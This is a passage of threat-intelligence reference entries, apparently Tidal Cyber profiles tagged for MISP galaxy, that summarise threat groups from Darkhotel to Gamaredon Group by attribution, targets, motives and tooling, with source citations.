[Darkhotel](https://app.tidalcyber.com/groups/efa1d922-8f48-43a6-89fe-237e1f3812c8) is a suspected South Korean threat group that has targeted victims primarily in East Asia since at least 2004. The group's name is based on cyber espionage operations conducted via hotel Internet networks against traveling executives and other select guests. [Darkhotel](https://app.tidalcyber.com/groups/efa1d922-8f48-43a6-89fe-237e1f3812c8) has also conducted spearphishing campaigns and infected victims through peer-to-peer and file sharing networks.^{[[Kaspersky Darkhotel](https://app.tidalcyber.com/references/3247c03a-a57c-4945-9b85-72a70719e1cd)]}^{[[Securelist Darkhotel Aug 2015](https://app.tidalcyber.com/references/5a45be49-f5f1-4d5b-b7da-0a2f38194ec1)]}^{[[Microsoft Digital Defense FY20 Sept 2020](https://app.tidalcyber.com/references/cdf74af5-ed71-4dfd-bc49-0ccfa40b65ea)]}

The tag is: *misp-galaxy:groups="Darkhotel"*

DarkHydrus

[DarkHydrus](https://app.tidalcyber.com/groups/f2b31240-0b4a-4fa4-82a4-6bb00e146e75) is a threat group that has targeted government agencies and educational institutions in the Middle East since at least 2016. The group heavily leverages open-source tools and custom payloads for carrying out attacks. ^{[[Unit 42 DarkHydrus July 2018](https://app.tidalcyber.com/references/800279cf-e6f8-4721-818f-46e35ec7892a)]} ^{[[Unit 42 Playbook Dec 2017](https://app.tidalcyber.com/references/9923f9ff-a7b8-4058-8213-3c83c54c10a6)]}

The tag is: *misp-galaxy:groups="DarkHydrus"*

DarkVishnya

[DarkVishnya](https://app.tidalcyber.com/groups/d428f9be-6faf-4d57-b677-4a927fea5f7e) is a financially motivated threat actor targeting financial institutions in Eastern Europe. In 2017-2018 the group attacked at least 8 banks in this region.^{[[Securelist DarkVishnya Dec 2018](https://app.tidalcyber.com/references/da9ac5a7-c644-45fa-ab96-30ac6bfc9f81)]}

The tag is: *misp-galaxy:groups="DarkVishnya"*

Deep Panda

[Deep Panda](https://app.tidalcyber.com/groups/43f826a1-e8c8-47b8-9b00-38e1b3e4293b) is a suspected Chinese threat group known to target many industries, including government, defense, financial, and telecommunications. ^{[[Alperovitch 2014](https://app.tidalcyber.com/references/72e19be9-35dd-4199-bc07-bd9d0c664df6)]} The intrusion into healthcare company Anthem has been attributed to [Deep Panda](https://app.tidalcyber.com/groups/43f826a1-e8c8-47b8-9b00-38e1b3e4293b). ^{[[ThreatConnect Anthem](https://app.tidalcyber.com/references/61ecd0b4-6cac-4d9f-8e8c-3d488fef6fec)]} This group is also known as Shell Crew, WebMasters, KungFu Kittens, and PinkPanther. ^{[[RSA Shell Crew](https://app.tidalcyber.com/references/6872a6d3-c4ab-40cf-82b7-5c5c8e077189)]} [Deep Panda](https://app.tidalcyber.com/groups/43f826a1-e8c8-47b8-9b00-38e1b3e4293b) also appears to be known as Black Vine based on the attribution of both group names to the Anthem intrusion. ^{[[Symantec Black Vine](https://app.tidalcyber.com/references/0b7745ce-04c0-41d9-a440-df9084a45d09)]} Some analysts track [Deep Panda](https://app.tidalcyber.com/groups/43f826a1-e8c8-47b8-9b00-38e1b3e4293b) and [APT19](https://app.tidalcyber.com/groups/713e2963-fbf4-406f-a8cf-6a4489d90439) as the same group, but it is unclear from open source information if the groups are the same. ^{[[ICIT China's Espionage Jul 2016](https://app.tidalcyber.com/references/1a824860-6978-454d-963a-a56414a4312b)]}

The tag is: *misp-galaxy:groups="Deep Panda"*

Devman Ransomware Group

Devman is a ransomware operation that has reportedly developed its own custom encryptor software, while also reportedly collaborating with other ransomware groups including Qilin, DragonForce, and RansomHub.<sup>[[Cyble Safepay Devman June 3 2025](/references/49840002-

47ee-4a77-9ceb-577752798dc0)]</sup>^{[[AhnLab Dark Web Trends June 10 2025](/references/de36cb84-6eaf-4a67-b09b-b876af38ccb5)]}

The tag is: *misp-galaxy:groups="Devman Ransomware Group"*

Dragonfly

[Dragonfly](https://app.tidalcyber.com/groups/472080b0-e3d4-4546-9272-c4359fe856e1) is a cyber espionage group that has been attributed to Russia's Federal Security Service (FSB) Center 16.^{[[DOJ Russia Targeting Critical Infrastructure March 2022](https://app.tidalcyber.com/references/768a0ec6-b767-4044-acad-82834508640f)]}^{[[UK GOV FSB Factsheet April 2022](https://app.tidalcyber.com/references/27e7d347-9d85-4897-9e04-33f58acc5687)]} Active since at least 2010, [Dragonfly](https://app.tidalcyber.com/groups/472080b0-e3d4-4546-9272-c4359fe856e1) has targeted defense and aviation companies, government entities, companies related to industrial control systems, and critical infrastructure sectors worldwide through supply chain, spearphishing, and drive-by compromise attacks.^{[[Symantec Dragonfly](https://app.tidalcyber.com/references/9514c5cd-2ed6-4dbf-aa9e-1c425e969226)]}^{[[Secureworks IRON LIBERTY July 2019](https://app.tidalcyber.com/references/c666200d-5392-43f2-9ad0-1268d7b2e86f)]}^{[[Symantec Dragonfly Sept 2017](https://app.tidalcyber.com/references/11bbeafc-ed5d-4d2b-9795-a0a9544fb64e)]}^{[[Fortune Dragonfly 2.0 Sept 2017](https://app.tidalcyber.com/references/b56c5b41-b8e0-4fef-a6d8-183bb283dc7c)]}^{[[Gigamon Berserk Bear October 2021](https://app.tidalcyber.com/references/06b6cbe3-8e35-4594-b36f-76b503c11520)]}^{[[CISA AA20-296A Berserk Bear December 2020](https://app.tidalcyber.com/references/c7bc4b25-2043-4f43-8320-590f82d0e09a)]}^{[[Symantec Dragonfly 2.0 October 2017](https://app.tidalcyber.com/references/a0439d4a-a3ea-4be5-9a01-f223ca259681)]}

The tag is: *misp-galaxy:groups="Dragonfly"*

DragonForce Ransomware Group

DragonForce operates a Ransomware-as-a-Service (RaaS) affiliate program using two ransomware variants: LockBit 3.0 and a modified ContiV3. The group uses double extortion tactics, encrypting data and threatening to leak it unless paid. Launched in June 2024, the program offers affiliates 80% of ransoms and tools to manage attacks. Affiliates can customize ransomware, disable security, and set encryption parameters. DragonForce employs the BYOVD technique to disable security processes and erases Windows logs to hinder investigations.^{[[Group-IB DragonForce September 25 2024](/references/28279a56-60e8-4e88-9627-accc969fa48c)]}

The tag is: *misp-galaxy:groups="DragonForce Ransomware Group"*

DragonOK

[DragonOK](https://app.tidalcyber.com/groups/f2c2db08-624c-46b9-b7ed-b22c21b81813) is a threat group that has targeted Japanese organizations with phishing emails. Due to overlapping TTPs, including similar custom tools, [DragonOK](https://app.tidalcyber.com/groups/f2c2db08-624c-46b9-

b7ed-b22c21b81813) is thought to have a direct or indirect relationship with the threat group [Moafee](https://app.tidalcyber.com/groups/4510ce41-27b9-479c-9bf3-a328b77bae29). ^{[[Operation Quantum Entanglement](https://app.tidalcyber.com/references/c94f9652-32c3-4975-a9c0-48f93bdfe790)]} It is known to use a variety of malware, including Sysget/HelloBridge, PlugX, PoisonIvy, FormerFirstRat, NFlog, and NewCT. ^{[[New DragonOK](https://app.tidalcyber.com/references/82c1ed0d-a41d-4212-a3ae-a1d661bede2d)]}

The tag is: *misp-galaxy:groups="DragonOK"*

DragonRank

This object represents a collection of MITRE ATT&CK® Techniques and other objects related to the subject threat. Further contextual details are provided via the sources in the References tab below and any associated Tags.

The tag is: *misp-galaxy:groups="DragonRank"*

Earth Lusca

[Earth Lusca](https://app.tidalcyber.com/groups/646e35d2-75de-4c1d-8ad3-616d3e155c5e) is a suspected China-based cyber espionage group that has been active since at least April 2019. [Earth Lusca](https://app.tidalcyber.com/groups/646e35d2-75de-4c1d-8ad3-616d3e155c5e) has targeted organizations in Australia, China, Hong Kong, Mongolia, Nepal, the Philippines, Taiwan, Thailand, Vietnam, the United Arab Emirates, Nigeria, Germany, France, and the United States. Targets included government institutions, news media outlets, gambling companies, educational institutions, COVID-19 research organizations, telecommunications companies, religious movements banned in China, and cryptocurrency trading platforms; security researchers assess some [Earth Lusca](https://app.tidalcyber.com/groups/646e35d2-75de-4c1d-8ad3-616d3e155c5e) operations may be financially motivated.^{[[TrendMicro EarthLusca 2022](https://app.tidalcyber.com/references/f6e1bffd-e35b-4eae-b9bf-c16a82bf7004)]}

[Earth Lusca](https://app.tidalcyber.com/groups/646e35d2-75de-4c1d-8ad3-616d3e155c5e) has used malware commonly used by other Chinese threat groups, including [APT41](https://app.tidalcyber.com/groups/502223ee-8947-42f8-a532-a3b3da12b7d9) and the [Winnti Group](https://app.tidalcyber.com/groups/6932662a-53a7-4e43-877f-6e940e2d744b) cluster, however security researchers assess [Earth Lusca](https://app.tidalcyber.com/groups/646e35d2-75de-4c1d-8ad3-616d3e155c5e)'s techniques and infrastructure are separate.^{[[TrendMicro EarthLusca 2022](https://app.tidalcyber.com/references/f6e1bffd-e35b-4eae-b9bf-c16a82bf7004)]}

The tag is: *misp-galaxy:groups="Earth Lusca"*

Elderwood

[Elderwood](https://app.tidalcyber.com/groups/51146bb6-7478-44a3-8f08-19adcdceffca) is a suspected Chinese cyber espionage group that was reportedly responsible for the 2009 Google intrusion known as Operation Aurora. ^{[[Security Affairs Elderwood Sept 2012](https://app.tidalcyber.com/references/ebfc56c5-0490-4b91-b49f-548c00a59162)]} The

group has targeted defense organizations, supply chain manufacturers, human rights and nongovernmental organizations (NGOs), and IT service providers. ^{[[Symantec Elderwood Sept 2012](https://app.tidalcyber.com/references/5e908748-d260-42f1-a599-ac38b4e22559)]} ^{[[CSM Elderwood Sept 2012](https://app.tidalcyber.com/references/6b79006d-f6de-489c-82fa-8c3c28d652ef)]}

The tag is: *misp-galaxy:groups="Elderwood"*

Eldorado Ransomware Operators

This object reflects the ATT&CK Techniques associated with threat actors who deploy Eldorado, a ransomware-as-a-service ("RaaS") first advertised for sale on cybercrime forums in March 2024. Researchers assess that Eldorado is a "unique" ransomware strain that is likely not derived from previously leaked ransomware source code.^{[[Group-IB July 3 2024](/references/50148a85-314c-4b29-bdfc-913ab647dadf)]}

Windows and Linux-focused versions of the ransomware are known to exist. (ATT&CK Techniques associated with these malware binaries are tracked in a separate "Eldorado Ransomware" Software object.)

The tag is: *misp-galaxy:groups="Eldorado Ransomware Operators"*

ELUSIVE COMET

ELUSIVE COMET is a threat actor targeting crypto users through sophisticated social engineering tactics, aiming to steal cryptocurrency by inducing victims to install malware.^{[[Security Alliance | SEAL April 14 2025](/references/da40497b-751d-4219-b9b2-a1a5914349a0)]}

The tag is: *misp-galaxy:groups="ELUSIVE COMET"*

Ember Bear

[Ember Bear](https://app.tidalcyber.com/groups/407274be-1820-4a84-939e-629313f4de1d) is a Russian state-sponsored cyber espionage group that has been active since at least 2020, linked to Russia's General Staff Main Intelligence Directorate (GRU) 161st Specialist Training Center (Unit 29155).^{[[CISA GRU29155 2024](https://app.tidalcyber.com/references/c4dba764-d864-59bf-a80d-f1263bc904e4)]} [Ember Bear](https://app.tidalcyber.com/groups/407274be-1820-4a84-939e-629313f4de1d) has primarily focused operations against Ukrainian government and telecommunication entities, but has also operated against critical infrastructure entities in Europe and the Americas.^{[[Cadet Blizzard emerges as novel threat actor](https://app.tidalcyber.com/references/7180c6a7-e6ea-54bf-bcd7-c5238bbc5f5b)]} [Ember Bear](https://app.tidalcyber.com/groups/407274be-1820-4a84-939e-629313f4de1d) conducted the [WhisperGate](https://app.tidalcyber.com/software/791f0afd-c2c4-4e23-8aee-1d14462667f5) destructive wiper attacks against Ukraine in early 2022.^{[[CrowdStrike Ember Bear Profile March 2022](https://app.tidalcyber.com/references/0639c340-b495-4d91-8418-3069f3fe0df1)]}^{[[Mandiant UNC2589 March 2022](https://app.tidalcyber.com/references/63d89139-9dd4-4ed6-bf6e-8cd872c5d034)]}^{[[CISA GRU29155 2024](https://app.tidalcyber.com/references/c4dba764-d864-59bf-a80d-f1263bc904e4)]} There

is some confusion as to whether [Ember Bear](https://app.tidalcyber.com/groups/407274be-1820-4a84-939e-629313f4de1d) overlaps with another Russian-linked entity referred to as [Saint Bear](https://app.tidalcyber.com/groups/eb64ce69-f106-5e8e-8efd-a29385a05973). At present available evidence strongly suggests these are distinct activities with different behavioral profiles.^{[[Cadet Blizzard emerges as novel threat actor](https://app.tidalcyber.com/references/7180c6a7-e6ea-54bf-bcd7-c5238bbc5f5b)]}^{[[Palo Alto Unit 42 OutSteel SaintBot February 2022](https://app.tidalcyber.com/references/b0632490-76be-4018-982d-4b73b3d13881)]}

The tag is: *misp-galaxy:groups="Ember Bear"*

ENVOY PANDA

ENVOY PANDA is a "China-nexus" actor, active since 2011, that has mainly targeted diplomatic entities associated with African and Middle Eastern governments.^{[[CrowdStrike 2025 Global Threat Report](/references/a69b0ce3-f314-4b32-bfb3-b1380c4f0ec4)]}^{[[Envoy Panda Profile](/references/44879a86-9eda-4934-bfc4-cbc643ab113a)]}

The tag is: *misp-galaxy:groups="ENVOY PANDA"*

Equation

[Equation](https://app.tidalcyber.com/groups/a4704485-65b5-49ec-bebe-5cc932362dd2) is a sophisticated threat group that employs multiple remote access tools. The group is known to use zero-day exploits and has developed the capability to overwrite the firmware of hard disk drives. ^{[[Kaspersky Equation QA](https://app.tidalcyber.com/references/34674802-fbd9-4cdb-8611-c58665c430e5)]}

The tag is: *misp-galaxy:groups="Equation"*

Everest Ransomware Actors

Threat actors known to deploy Everest, a ransomware strain that researchers have linked to both the previous Everbe 2.0 and BlackByte ransomware families.^{[[NCC Group Everest Ransomware July 13 2022](/references/33effb32-5c39-4bde-953d-12dc7be4db07)]}

The tag is: *misp-galaxy:groups="Everest Ransomware Actors"*

Evilnum

[Evilnum](https://app.tidalcyber.com/groups/4bdc62c9-af6a-4377-8431-58a6f39235dd) is a financially motivated threat group that has been active since at least 2018.^{[[ESET EvilNum July 2020](https://app.tidalcyber.com/references/6851b3f9-0239-40fc-ba44-34a775e9bd4e)]}

The tag is: *misp-galaxy:groups="Evilnum"*

EXOTIC LILY

[EXOTIC LILY](https://app.tidalcyber.com/groups/396a4361-3e84-47bc-9544-58e287c05799) is a financially motivated group that has been closely linked with [Wizard Spider](https://app.tidalcyber.com/groups/0b431229-036f-4157-a1da-ff16dfc095f8) and the deployment of ransomware including [Conti](https://app.tidalcyber.com/software/8e995c29-2759-4aeb-9a0f-bb7cd97b06e5) and [Diavol](https://app.tidalcyber.com/software/d057b6e7-1de4-4f2f-b374-7e879caecd67). [EXOTIC LILY](https://app.tidalcyber.com/groups/396a4361-3e84-47bc-9544-58e287c05799) may be acting as an initial access broker for other malicious actors, and has targeted a wide range of industries including IT, cybersecurity, and healthcare since at least September 2021.^{[[Google EXOTIC LILY March 2022](https://app.tidalcyber.com/references/19d2cb48-bdb2-41fe-ba24-0769d7bd4d94)]}

The tag is: *misp-galaxy:groups="EXOTIC LILY"*

Famous Chollima

Famous Chollima is a North Korea-linked threat group known for using job-themed social engineering campaigns ("Contagious Interview") to entice targets into downloading cross-platform malware, for example under the pretext of coding assignments or fixing browser issues during video assessments. The group has been observed setting up front companies as part of its schemes.^{[[The Hacker News Contagious Interview April 25 2025](/references/68d9fec5-40b0-414a-9d39-21b5f36a013b)]} The group has also been linked to schemes facilitating the fraudulent hiring of remote North Korean IT workers by Western firms in an effort to evade sanctions.^{[[Unit 42 November 21 2023](/references/930228c3-a93b-4664-ab7d-65af212211fc)]}

Security researchers have described Famous Chollima as being motivated by both espionage goals (stealing sensitive information) and financial ones (theft of cryptocurrency from software professionals).^{[[The Hacker News Contagious Interview April 25 2025](/references/68d9fec5-40b0-414a-9d39-21b5f36a013b)]}^{[[TrendMicro Void Dokkaebi April 23 2025](/references/8677d97f-6bca-48b8-9e0b-2bbcafae25e9)]} Reserachers have described Famous Chollima as a "subgroup" of the North Korean state-sponsored Lazarus Group.^{[[Silent Push Contagious Interview April 24 2025](/references/7062304e-91e9-45bf-84b4-c42bdad99e23)]}

The tag is: *misp-galaxy:groups="Famous Chollima"*

Ferocious Kitten

[Ferocious Kitten](https://app.tidalcyber.com/groups/275ca7b0-3b21-4c3a-8b6f-57b6f0ffb6fb) is a threat group that has primarily targeted Persian-speaking individuals in Iran since at least 2015.^{[[Kaspersky Ferocious Kitten Jun 2021](https://app.tidalcyber.com/references/b8f8020d-3f5c-4b5e-8761-6ecdd63fcd50)]}

The tag is: *misp-galaxy:groups="Ferocious Kitten"*

FIN10

[FIN10](https://app.tidalcyber.com/groups/345e553a-164d-4c9d-8bf9-19fcf8a51533) is a financially motivated threat group that has targeted organizations in North America since at least 2013 through 2016. The group uses stolen data exfiltrated from victims to extort organizations. ^{[[FireEye FIN10 June 2017](https://app.tidalcyber.com/references/9d5c3956-7169-48d5-b4d0-f7a56a742adf)]}

The tag is: *misp-galaxy:groups="FIN10"*

FIN11

FIN11 is a financially motivated adversary identified by Mandiant in 2020. Originally known for high-volume phishing campaigns leading to ransomware and data theft, the group more recently is known for carrying out wide-ranging exploitation of multiple vulnerabilities in 2023, including vulnerabilities affecting PaperCut print management software and MOVEit Transfer file transfer software to deliver Clop ransomware and for more general data theft, respectively, as well as GoAnywhere file transfer software exploits.^{[[Microsoft Threat Intelligence Tweet April 26 2023](/references/3b5a2349-e10c-422b-91e3-20e9033fdb60)]}^{[[Mandiant MOVEit Transfer June 2 2023](/references/232c7555-0483-4a57-88cb-71a990f7d683)]}. Microsoft Threat Intelligence reports overlaps between FIN11 and Lace Tempest (DEV-0950), which it identifies as a Clop ransomware affiliate. The DFIR Report researchers attributed a May 2023 data theft and wiper campaign to FIN11 and Lace Tempest.^{[[The DFIR Report Truebot June 12 2023](/references/a6311a66-bb36-4cad-a98f-2b0b89aafa3d)]}

The tag is: *misp-galaxy:groups="FIN11"*

FIN12

FIN12 is a financially motivated threat actor group believed to be responsible for multiple high-profile ransomware attacks since 2018. The group has attacked victims in various sectors and locations, including multiple attacks on healthcare entities. An October 2021 Mandiant assessment indicated 85% of the group's victims were U.S.-based, and the large majority of them were large enterprises with more than $300 million in annual revenue. The report also assessed that initial access brokers partnering with FIN12 target a wider range of organizations and allow FIN12 actors to select victims for further malicious activity.^{[[Mandiant FIN12 Group Profile October 07 2021](/references/7af84b3d-bbd6-449f-b29b-2f14591c9f05)]}

FIN12's toolset has reportedly shifted over time. Cobalt Strike has been observed in most intrusions. While TrickBot and Empire were common post-exploitation tools historically, French authorities observed the group using SystemBC alongside Cobalt Strike during a March 2023 hospital center intrusion. Ryuk, and to a lesser degree Conti, were traditionally used ransomware payloads, with the former used in a series of attacks on U.S. healthcare entities in 2020. However, a French CERT assessment published in 2023 linked the group to multiple more recent incidents it investigated and analyzed, which featured deployment of various ransomware families, including Hive, Nokoyawa, Play, Royal, and BlackCat, along with Emotet and BazarLoader malware for initial footholds.<sup>[[Mandiant FIN12 Group Profile October 07 2021](/references/7af84b3d-bbd6-449f-

b29b-2f14591c9f05)]</sup>^{[[CERTFR-2023-CTI-007](/references/0f4a03c5-79b3-418e-a77d-305d5a32caca)]}

Related Vulnerabilities: CVE-2023-21746, CVE-2022-24521, CVE-2021-34527, CVE-2019-0708, CVE-2020-1472^{[[CERTFR-2023-CTI-007](/references/0f4a03c5-79b3-418e-a77d-305d5a32caca)]}

The tag is: *misp-galaxy:groups="FIN12"*

FIN13

[FIN13](https://app.tidalcyber.com/groups/570198e3-b59c-5772-b1ee-15d7ea14d48a) is a financially motivated cyber threat group that has targeted the financial, retail, and hospitality industries in Mexico and Latin America, as early as 2016. [FIN13](https://app.tidalcyber.com/groups/570198e3-b59c-5772-b1ee-15d7ea14d48a) achieves its objectives by stealing intellectual property, financial data, mergers and acquisition information, or PII.^{[[Mandiant FIN13 Aug 2022](https://app.tidalcyber.com/references/ebd9d479-1954-5a4a-b7f0-d5372489733c)]}^{[[Sygnia Elephant Beetle Jan 2022](https://app.tidalcyber.com/references/932897a6-0fa4-5be3-bf0b-20d6ddad238e)]}

The tag is: *misp-galaxy:groups="FIN13"*

FIN4

[FIN4](https://app.tidalcyber.com/groups/4b6531dc-5b29-4577-8b54-fa99229ab0ca) is a financially-motivated threat group that has targeted confidential information related to the public financial market, particularly regarding healthcare and pharmaceutical companies, since at least 2013.^{[[FireEye Hacking FIN4 Dec 2014](https://app.tidalcyber.com/references/c3ac1c2a-21cc-42a9-a214-88f302371766)]}^{[[FireEye FIN4 Stealing Insider NOV 2014](https://app.tidalcyber.com/references/b27f1040-46e5-411a-b238-0b40f6160680)]} [FIN4](https://app.tidalcyber.com/groups/4b6531dc-5b29-4577-8b54-fa99229ab0ca) is unique in that they do not infect victims with typical persistent malware, but rather they focus on capturing credentials authorized to access email and other non-public correspondence.^{[[FireEye Hacking FIN4 Dec 2014](https://app.tidalcyber.com/references/c3ac1c2a-21cc-42a9-a214-88f302371766)]}^{[[FireEye Hacking FIN4 Video Dec 2014](https://app.tidalcyber.com/references/6dcfe3fb-c310-49cf-a657-f2cec65c5499)]}

The tag is: *misp-galaxy:groups="FIN4"*

FIN5

[FIN5](https://app.tidalcyber.com/groups/7902f5cc-d6a5-4a57-8d54-4c75e0c58b83) is a financially motivated threat group that has targeted personally identifiable information and payment card information. The group has been active since at least 2008 and has targeted the restaurant, gaming, and hotel industries. The group is made up of actors who likely speak Russian. ^{[[FireEye Respond Webinar July 2017](https://app.tidalcyber.com/references/e7091d66-7faa-49d6-b16f-be1f79db4471)]} ^{[[Mandiant FIN5 GrrCON Oct 2016](https://app.tidalcyber.com/references/2bd39baf-4223-4344-ba93-98aa8453dc11)]} ^{[[DarkReading FireEye FIN5 Oct 2015](https://app.tidalcyber.com/references/afe0549d-dc1b-4bcf-9a1d-55698afd530e)]}

The tag is: *misp-galaxy:groups="FIN5"*

FIN6

[FIN6](https://app.tidalcyber.com/groups/fcaadc12-7c17-4946-a9dc-976ed610854c) is a cyber crime group that has stolen payment card data and sold it for profit on underground marketplaces. This group has aggressively targeted and compromised point of sale (PoS) systems in the hospitality and retail sectors.^{[[FireEye FIN6 April 2016](https://app.tidalcyber.com/references/8c0997e1-b285-42dd-9492-75065eac8f8b)]}^{[[FireEye FIN6 Apr 2019](https://app.tidalcyber.com/references/e8a2bc6a-04e3-484e-af67-5f57656c7206)]}

The tag is: *misp-galaxy:groups="FIN6"*

FIN7

[FIN7](https://app.tidalcyber.com/groups/4348c510-50fc-4448-ab8d-c8cededd19ff) is a financially-motivated threat group that has been active since 2013. [FIN7](https://app.tidalcyber.com/groups/4348c510-50fc-4448-ab8d-c8cededd19ff) has primarily targeted the retail, restaurant, hospitality, software, consulting, financial services, medical equipment, cloud services, media, food and beverage, transportation, and utilities industries in the U.S. A portion of [FIN7](https://app.tidalcyber.com/groups/4348c510-50fc-4448-ab8d-c8cededd19ff) was run out of a front company called Combi Security and often used point-of-sale malware for targeting efforts. Since 2020, [FIN7](https://app.tidalcyber.com/groups/4348c510-50fc-4448-ab8d-c8cededd19ff) shifted operations to a big game hunting (BGH) approach including use of [REvil](https://app.tidalcyber.com/software/9314531e-bf46-4cba-9c19-198279ccf9cd) ransomware and their own Ransomware as a Service (RaaS), Darkside. FIN7 may be linked to the [Carbanak](https://app.tidalcyber.com/groups/72d9bea7-9ca1-43e6-8702-2fb7fb1355de) Group, but there appears to be several groups using [Carbanak](https://app.tidalcyber.com/software/4cb9294b-9e4c-41b9-b640-46213a01952d) malware and are therefore tracked separately.^{[[FireEye FIN7 March 2017](https://app.tidalcyber.com/references/7987bb91-ec41-42f8-bd2d-dabc26509a08)]}^{[[FireEye FIN7 April 2017](https://app.tidalcyber.com/references/6ee27fdb-1753-4fdf-af72-3295b072ff10)]}^{[[FireEye CARBANAK June 2017](https://app.tidalcyber.com/references/39105492-6044-460c-9dc9-3d4473ee862e)]}^{[[FireEye FIN7 Aug 2018](https://app.tidalcyber.com/references/54e5f23a-5ca6-4feb-8046-db2fb71b400a)]}^{[[CrowdStrike Carbon Spider August 2021](https://app.tidalcyber.com/references/36f0ddb0-94af-494c-ad10-9d3f75d1d810)]}^{[[Mandiant FIN7 Apr 2022](https://app.tidalcyber.com/references/be9919c0-ca52-593b-aea0-c5e9a262b570)]}

The tag is: *misp-galaxy:groups="FIN7"*

FIN8

[FIN8](https://app.tidalcyber.com/groups/b3061284-0335-4dcb-9f8e-a3b0412fd46f) is a financially motivated threat group that has been active since at least January 2016, and known for targeting organizations in the hospitality, retail, entertainment, insurance, technology, chemical, and financial sectors. In June 2021, security researchers detected [FIN8](https://app.tidalcyber.com/

groups/b3061284-0335-4dcb-9f8e-a3b0412fd46f) switching from targeting point-of-sale (POS) devices to distributing a number of ransomware variants.^{[[FireEye Obfuscation June 2017](https://app.tidalcyber.com/references/6d1089b7-0efe-4961-8abc-22a882895377)]}^{[[FireEye Fin8 May 2016](https://app.tidalcyber.com/references/2079101c-d988-430a-9082-d25c475b2af5)]}^{[[Bitdefender Sardonic Aug 2021](https://app.tidalcyber.com/references/8e9d05c9-6783-5738-ac85-a444810a8074)]}^{[[Symantec FIN8 Jul 2023](https://app.tidalcyber.com/references/9b08b7f0-1a33-5d76-817f-448fac0d165a)]}

The tag is: *misp-galaxy:groups="FIN8"*

Flax Typhoon

Researchers assess that Flax Typhoon is a nation-state-sponsored espionage group based in China that has targeted government, education, manufacturing, and IT organizations in Taiwan, elsewhere in Southeast Asia, North America, and Africa. Flax Typhoon is believed to overlap with the ETHEREAL PANDA group and has been active since mid-2021. Flax Typhoon has been seen establishing persistence, moving laterally, and accessing victim credentials after achieving network access, but to date, researchers have not observed the actors acting on final objectives during intrusions. Microsoft researchers assess that Flax Typhoon's techniques, which lean on legitimate, often built-in tools & utilities, could be used in attacks on victims in other regions.^{[[Microsoft Flax Typhoon August 24 2023](/references/ec962b72-7b7f-4f7e-b6d6-7c5380b07201)]}

The tag is: *misp-galaxy:groups="Flax Typhoon"*

Fox Kitten

[Fox Kitten](https://app.tidalcyber.com/groups/7094468a-2310-48b5-ad24-e669152bd66d) is threat actor with a suspected nexus to the Iranian government that has been active since at least 2017 against entities in the Middle East, North Africa, Europe, Australia, and North America. [Fox Kitten](https://app.tidalcyber.com/groups/7094468a-2310-48b5-ad24-e669152bd66d) has targeted multiple industrial verticals including oil and gas, technology, government, defense, healthcare, manufacturing, and engineering.^{[[ClearkSky Fox Kitten February 2020](https://app.tidalcyber.com/references/a5ad6321-897a-4adc-9cdd-034a2538e3d6)]}^{[[CrowdStrike PIONEER KITTEN August 2020](https://app.tidalcyber.com/references/4fce29cc-ddab-4b96-b295-83c282a87564)]}^{[[Dragos PARISITE](https://app.tidalcyber.com/references/15e974db-51a9-4ec1-9725-cff8bb9bc2fa)]}^{[[ClearSky Pay2Kitten December 2020](https://app.tidalcyber.com/references/6e09bc1a-8a5d-4512-9176-40eed91af358)]}

The tag is: *misp-galaxy:groups="Fox Kitten"*

FunkSec

Researchers describe FunkSec as an actor group that exhibits both hacktivist and financially motivated tendencies. Beginning in late 2024, the group began to claim that it attacked a large number of victims on its data leak site, although researchers highlighted that many of the leaks

appeared to recycle previously leaked data, calling into question whether FunkSec was actually behind the alleged attacks. The group has gained research community attention for its apparent use of artificial intelligence capabilities to augment its operations.^{[[Check Point Research January 10 2025](/references/8f64819e-dc3d-48da-a84d-14eaacb0d61e)]}

The tag is: *misp-galaxy:groups="FunkSec"*

GALLIUM

[GALLIUM](https://app.tidalcyber.com/groups/15ff1ce0-44f0-4f1d-a4ef-83444570e572) is a cyberespionage group that has been active since at least 2012, primarily targeting telecommunications companies, financial institutions, and government entities in Afghanistan, Australia, Belgium, Cambodia, Malaysia, Mozambique, the Philippines, Russia, and Vietnam. This group is particularly known for launching Operation Soft Cell, a long-term campaign targeting telecommunications providers.^{[[Cybereason Soft Cell June 2019](https://app.tidalcyber.com/references/620b7353-0e58-4503-b534-9250a8f5ae3c)]} Security researchers have identified [GALLIUM](https://app.tidalcyber.com/groups/15ff1ce0-44f0-4f1d-a4ef-83444570e572) as a likely Chinese state-sponsored group, based in part on tools used and TTPs commonly associated with Chinese threat actors.^{[[Cybereason Soft Cell June 2019](https://app.tidalcyber.com/references/620b7353-0e58-4503-b534-9250a8f5ae3c)]}^{[[Microsoft GALLIUM December 2019](https://app.tidalcyber.com/references/5bc76b47-ff68-4031-a347-f2dc0daba203)]}^{[[Unit 42 PingPull Jun 2022](https://app.tidalcyber.com/references/ac6491ab-6ef1-4091-8a15-50e2cbafe157)]}

The tag is: *misp-galaxy:groups="GALLIUM"*

Gallmaker

[Gallmaker](https://app.tidalcyber.com/groups/cd483597-4eda-4e16-bb58-353488511410) is a cyberespionage group that has targeted victims in the Middle East and has been active since at least December 2017. The group has mainly targeted victims in the defense, military, and government sectors.^{[[Symantec Gallmaker Oct 2018](https://app.tidalcyber.com/references/f47b3e2b-acdd-4487-88b9-de5cbe45cf33)]}

The tag is: *misp-galaxy:groups="Gallmaker"*

Gamaredon Group

[Gamaredon Group](https://app.tidalcyber.com/groups/41e8b4a4-2d31-46ee-bc56-12375084d067) is a suspected Russian cyber espionage threat group that has targeted military, NGO, judiciary, law enforcement, and non-profit organizations in Ukraine since at least 2013. The name [Gamaredon Group](https://app.tidalcyber.com/groups/41e8b4a4-2d31-46ee-bc56-12375084d067) comes from a misspelling of the word "Armageddon", which was detected in the adversary’s early campaigns.^{[[Palo Alto Gamaredon Feb 2017](https://app.tidalcyber.com/references/3f9a6343-1db3-4696-99ed-f22c6eabee71)]}^{[[TrendMicro Gamaredon April 2020](https://app.tidalcyber.com/references/3800cfc2-0260-4b36-b629-7a336b9f9f10)]}<sup>[[ESET Gamaredon June 2020](https://app.tidalcyber.com/references/

6532664d-2311-4b38-8960-f43762471729)]</sup>^{[[Symantec Shuckworm January 2022](https://app.tidalcyber.com/references/3abb9cfb-8927-4447-b904-6ed071787bef)]}^{[[Microsoft Actinium February 2022](https://app.tidalcyber.com/references/5ab658db-7f71-4213-8146-e22da54160b3)]}

